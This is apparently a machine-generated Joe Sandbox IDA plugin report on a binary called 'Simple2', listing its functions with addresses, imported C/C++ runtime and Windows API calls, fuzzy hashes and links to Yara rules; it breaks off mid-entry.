Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5273a414ad2a8e3638f51944160ccb7bf4edba53f1bf469c37612bc3a0f81b19
Instruction ID: 00000c54af0583fa0498a0862e81ea53a9f2d0e5d335fdc4ae5af4c4a08cd83a
Opcode Fuzzy Hash: 5273a414ad2a8e3638f51944160ccb7bf4edba53f1bf469c37612bc3a0f81b19
Instruction Fuzzy Hash: 99315C22744A82C6EE659F26E4043B9A760FF46B94F088039DF4D87B61DE3CF596D300

Function 00007FF6876BB188 Relevance: 4.5, APIs: 3, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6876B1079), ref: 00007FF6876BB1A2
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876BB1B8

Part of subcall function 00007FF6876BB924: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6876BB92D
Part of subcall function 00007FF6876BB924: _CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,?,00007FF6876BB1BD,?,?,?,00007FF6876B1079), ref: 00007FF6876BB93E

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876BB1BE

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: Concurrency::cancel_current_task$ExceptionThrowmallocstd::bad_alloc::bad_alloc
String ID:
API String ID: 594857686-0
Opcode ID: b5572d8f91ff3c0af187336c7321391bdae280d0e8a128b9ee9ed201f7d0ffee
Instruction ID: 4422f30613ef139de91f4dc147ba7d7c78c2531c568574e37793c1b19de037cc
Opcode Fuzzy Hash: b5572d8f91ff3c0af187336c7321391bdae280d0e8a128b9ee9ed201f7d0ffee
Instruction Fuzzy Hash: 52E0B600E99207C5FDAA63A2184607900823F973B8E1C1B38FA7D842D2ED1CB4D6E650

Function 00007FF6876B96B0 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z.MSVCP140 ref: 00007FF6876B96C5
?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z.MSVCP140 ref: 00007FF6876B96D1
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6876B96DA

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@V12@$?flush@?$basic_ostream@_?put@?$basic_ostream@?widen@?$basic_ios@U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 2670548386-0
Opcode ID: f7284e140304bf78685db437509e0c3193b840c890769990208ee4664a5f1153
Instruction ID: 5e4684e13d9b5bb44f61bdf919aaa7c094cd534ffce7e6bd25e519d1f1b374d9
Opcode Fuzzy Hash: f7284e140304bf78685db437509e0c3193b840c890769990208ee4664a5f1153
Instruction Fuzzy Hash: 55D01711A88A0AC2DE099F26B8940381324FF8AF82B08A031DD0F8A310CE3CE099D200

Function 00007FF6876B98D0 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEBA_WD@Z.MSVCP140 ref: 00007FF6876B98E5
?put@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_W@Z.MSVCP140 ref: 00007FF6876B98F1
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6876B98FA

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?flush@?$basic_ostream@_?put@?$basic_ostream@_?widen@?$basic_ios@_V12@V12@_
String ID:
API String ID: 2094784882-0
Opcode ID: 23e708a2569c3426e87b7543450fb33ca15486ce26cdfbe756c9933b9681a608
Instruction ID: c055d51759ea39fd7a328545f6d72896bf1020a9d9a415b879483a31eec485dc
Opcode Fuzzy Hash: 23e708a2569c3426e87b7543450fb33ca15486ce26cdfbe756c9933b9681a608
Instruction Fuzzy Hash: 15D01754A88A06C2EE099F36BC941381320BF8AF56B08A030DD0F8B320CE3CE0D5D200

Function 00007FF6876B6740 Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_fseeki64.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6876B67B1
fgetpos.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6876B67C7

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: _fseeki64fgetpos
String ID:
API String ID: 3401907645-0
Opcode ID: ecb6472a7ce75e62892e83f98b80271a100afabbccfad88630939b55a3a0e4aa
Instruction ID: f053b5a10c812f8729879664ea150db856884bf20f507e0b8679a37ab03b4de3
Opcode Fuzzy Hash: ecb6472a7ce75e62892e83f98b80271a100afabbccfad88630939b55a3a0e4aa
Instruction Fuzzy Hash: 23313C32644B51C1EF608F2AE54036963A4FF4ABA8F148139DE5C877A4DF38E4D6D300

Function 00007FF6876B70B0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00007FF6876B19FD), ref: 00007FF6876B7146
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140(?,?,?,00007FF6876B19FD), ref: 00007FF6876B7157

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: D@std@@@std@@Init@?$basic_streambuf@U?$char_traits@fclose
String ID:
API String ID: 356833432-0
Opcode ID: 396b18110c7e3b0189c6318ad677061b51005803ba6b4c43fc7aa01835824bc1
Instruction ID: 14331fe25f3b99a5ddb2f95678a4ff9773e7416e67e58319bb200f9dbf0c0036
Opcode Fuzzy Hash: 396b18110c7e3b0189c6318ad677061b51005803ba6b4c43fc7aa01835824bc1
Instruction Fuzzy Hash: 31215776649B81C4DB458F39E85436833A4FB8AF58F08803ADE4D8B368DF38E489D350

Function 00007FF6876B7790 Relevance: 1.6, APIs: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B7840

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 1d1de893edc6c783063b8b228a586221ff2b8e1a473930f49e6a63a8e275ccf9
Instruction ID: 09de14fcecc022e4b3c8a93380578db63c255d99b705a638be8f5ee40b2e2466
Opcode Fuzzy Hash: 1d1de893edc6c783063b8b228a586221ff2b8e1a473930f49e6a63a8e275ccf9
Instruction Fuzzy Hash: E5211076A09B48C5EF058F69D49022C3366FB49FA9B54803AEE0D87368DF38E880D340

Function 00007FF6876B7F40 Relevance: 1.3, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6876B7F97

Part of subcall function 00007FF6876BA360: memcpy.VCRUNTIME140 ref: 00007FF6876BA454
Part of subcall function 00007FF6876BA360: memcpy.VCRUNTIME140 ref: 00007FF6876BA462

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: c4fad891f8838a3ff896bec8dfd8e97697a670428b7c90bc6bf96c2d856b4e86
Instruction ID: 382cc0472908ba1563b40efc2a2638181ebfadd9189fad806128f9bb7e5683ca
Opcode Fuzzy Hash: c4fad891f8838a3ff896bec8dfd8e97697a670428b7c90bc6bf96c2d856b4e86
Instruction Fuzzy Hash: CB018C62B08B9481DE009B1AE20006DA365FB45FC8B188536EF5C57B59DF39E5E2D740

Non-executed Functions

Function 00007FF6876BBB0C Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6876BBB28
memset.VCRUNTIME140 ref: 00007FF6876BBB4C
RtlCaptureContext.KERNEL32 ref: 00007FF6876BBB55
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6876BBB6F
RtlVirtualUnwind.KERNEL32 ref: 00007FF6876BBBB0
memset.VCRUNTIME140 ref: 00007FF6876BBBE3
IsDebuggerPresent.KERNEL32 ref: 00007FF6876BBC04
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6876BBC21
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6876BBC2C

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 40a82ec271f847dec9676bbcc0cd14d7ff99cb64b702a5e9aa7045d9a1604bc8
Instruction ID: af315fdc1587317494d2945009a201fa8a059a031fccf04d95e7692f181b51e2
Opcode Fuzzy Hash: 40a82ec271f847dec9676bbcc0cd14d7ff99cb64b702a5e9aa7045d9a1604bc8
Instruction Fuzzy Hash: 70314F72648B81C6EF648F60E8403E97364FB85748F44403EEA4E87B99DF38E688C714

Function 00007FF6876BBD1C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6876BBD48
GetCurrentThreadId.KERNEL32 ref: 00007FF6876BBD56
GetCurrentProcessId.KERNEL32 ref: 00007FF6876BBD62
QueryPerformanceCounter.KERNEL32 ref: 00007FF6876BBD72

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b368277a78d8b3f94a862b1491a1e397c34f224aaa5acd5c28a1d5999610dac7
Instruction ID: 4a91160771c249c2ea7448f2df2d7a20a113d75398af1dcce6c796185b11059e
Opcode Fuzzy Hash: b368277a78d8b3f94a862b1491a1e397c34f224aaa5acd5c28a1d5999610dac7
Instruction Fuzzy Hash: 38111822B98B01CAEF00CF60E8552A833A4FB59758F441E39EA6D867A4DF7CE194D340

Function 00007FF6876BBCB0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01b6ad167b3f27702ef763fa15e21f823dd2f1c85ce527116d74a973a60dd82a
Instruction ID: b65b7a16d78f7261c48636f682595e41fc813909e34734530396852b6597a78a
Opcode Fuzzy Hash: 01b6ad167b3f27702ef763fa15e21f823dd2f1c85ce527116d74a973a60dd82a
Instruction Fuzzy Hash: 21A0012199C806D5EA848B00A8501202620FF62344B444039E00E851A0DF2CB481E641

Function 00007FF6876B8830 Relevance: 15.3, APIs: 10, Instructions: 333COMMON

Download Yara Rule

APIs

?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z.MSVCP140 ref: 00007FF6876B8910
memcpy.VCRUNTIME140 ref: 00007FF6876B89CD

Part of subcall function 00007FF6876BA360: memcpy.VCRUNTIME140 ref: 00007FF6876BA454
Part of subcall function 00007FF6876BA360: memcpy.VCRUNTIME140 ref: 00007FF6876BA462

memcpy.VCRUNTIME140 ref: 00007FF6876B8BF9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B8C2E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B8C6D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B8CB0
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B8CE9
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B8CEF
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B8CF5

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn$?out@?$codecvt@Mbstatet@@Mbstatet@@@std@@
String ID:
API String ID: 2436281117-0
Opcode ID: c35718d7f45bae69353885bd83bef6c1f398237b3a592e7714d8fa48c5d193b3
Instruction ID: 50d7e5b64fededd052903743922b2457cd5626048c4a590c4bfa3bdc9bed1b6f
Opcode Fuzzy Hash: c35718d7f45bae69353885bd83bef6c1f398237b3a592e7714d8fa48c5d193b3
Instruction Fuzzy Hash: 95D1BE62B99B46D9EF10CB64E4803BC2761BF46798F004239EA6D93B95DF38A4C5E340

Function 00007FF6876BAED0 Relevance: 13.6, APIs: 9, Instructions: 131COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6876BAF35
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF6876BAF55
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6876BAF65
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6876BAFAC
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF6876BAFD9
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF6876BAFFA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF6876BB040
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF6876BB047
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF6876BB054

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 1135186806-0
Opcode ID: 4a409d9eeddde9c16bf3bdc8983f7975c11a2b7358316a83c88b2511ec656938
Instruction ID: 28b8c2df7b7bb6141eee018c12b3732f2c9e2cdc067e303efc4f1ec714f7e6c3
Opcode Fuzzy Hash: 4a409d9eeddde9c16bf3bdc8983f7975c11a2b7358316a83c88b2511ec656938
Instruction Fuzzy Hash: ED510372648A41C1EF218F19D590638A7A4FF86F95B198536EE5E87760CF3DF486E300

Function 00007FF6876B8D10 Relevance: 10.8, APIs: 7, Instructions: 273COMMON

Download Yara Rule

APIs

?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z.MSVCP140 ref: 00007FF6876B8DF6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B8FA3

Part of subcall function 00007FF6876B9D40: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00007FF6876BA81F), ref: 00007FF6876B9E58

memcpy.VCRUNTIME140 ref: 00007FF6876B8EAE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B90BE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B910E
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B9115
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B911B

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskmemcpy$?in@?$codecvt@Mbstatet@@Mbstatet@@@std@@
String ID:
API String ID: 3138728058-0
Opcode ID: 1e04a5bdb626a9c4a73a7f345a6a19f7d01a1b3ec723d73c288f4c7877c58207
Instruction ID: 393b30a655e0935cb0a547e10acf9c904862dafe3032a71cce672ead48fab9c3
Opcode Fuzzy Hash: 1e04a5bdb626a9c4a73a7f345a6a19f7d01a1b3ec723d73c288f4c7877c58207
Instruction Fuzzy Hash: 64B1AF62F58B46D9EF10CB64E4842BC2372BF5A798F404639EA5D93B98DF38E184D340

Function 00007FF6876B6A70 Relevance: 10.7, APIs: 7, Instructions: 180COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6876B6B22

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: fgetc
String ID:
API String ID: 2807381905-0
Opcode ID: 072bb3de7d519cac7f9343eb4e3480f148f3df6cbb5292a01ee6b5cf286d2ff5
Instruction ID: af712edd748ffccf56bbc0cd6a5dd1463fcf5befc0c8888fbdd9e237f5baf4b4
Opcode Fuzzy Hash: 072bb3de7d519cac7f9343eb4e3480f148f3df6cbb5292a01ee6b5cf286d2ff5
Instruction Fuzzy Hash: 0D915732B58A41D9EF00CF65D4902AC37B4FB4AB68F54523AEA5D93B94DF38E4A4D340

Function 00007FF6876BA8D0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,00007FF6876B4F82), ref: 00007FF6876BA967
memcpy.VCRUNTIME140(?,?,?,00007FF6876B4F82), ref: 00007FF6876BA9B2
memcpy.VCRUNTIME140(?,?,?,00007FF6876B4F82), ref: 00007FF6876BA9CA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF6876B4F82), ref: 00007FF6876BAA67
memcpy.VCRUNTIME140(?,?,?,00007FF6876B4F82), ref: 00007FF6876BAA9C
memcpy.VCRUNTIME140(?,?,?,00007FF6876B4F82), ref: 00007FF6876BAABA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876BAADD

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: bc9af6944278223db16352bb2e35be7db60499c09766f561182b432a1841f365
Instruction ID: b845cc450d591f3caa0fd200878476fcda2eb2e3f3d17b8207dae8abc30f3d14
Opcode Fuzzy Hash: bc9af6944278223db16352bb2e35be7db60499c09766f561182b432a1841f365
Instruction Fuzzy Hash: AE51B022E44B85D1EE14AF25D50426C23A0FF56B98F544A3AEE6D827C5DF38F5D4E380

Function 00007FF6876BAAF0 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6876BAB84
memcpy.VCRUNTIME140 ref: 00007FF6876BABC8
memcpy.VCRUNTIME140 ref: 00007FF6876BABE0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876BAC63
memcpy.VCRUNTIME140 ref: 00007FF6876BAC95
memcpy.VCRUNTIME140 ref: 00007FF6876BACB0
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876BACD3

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

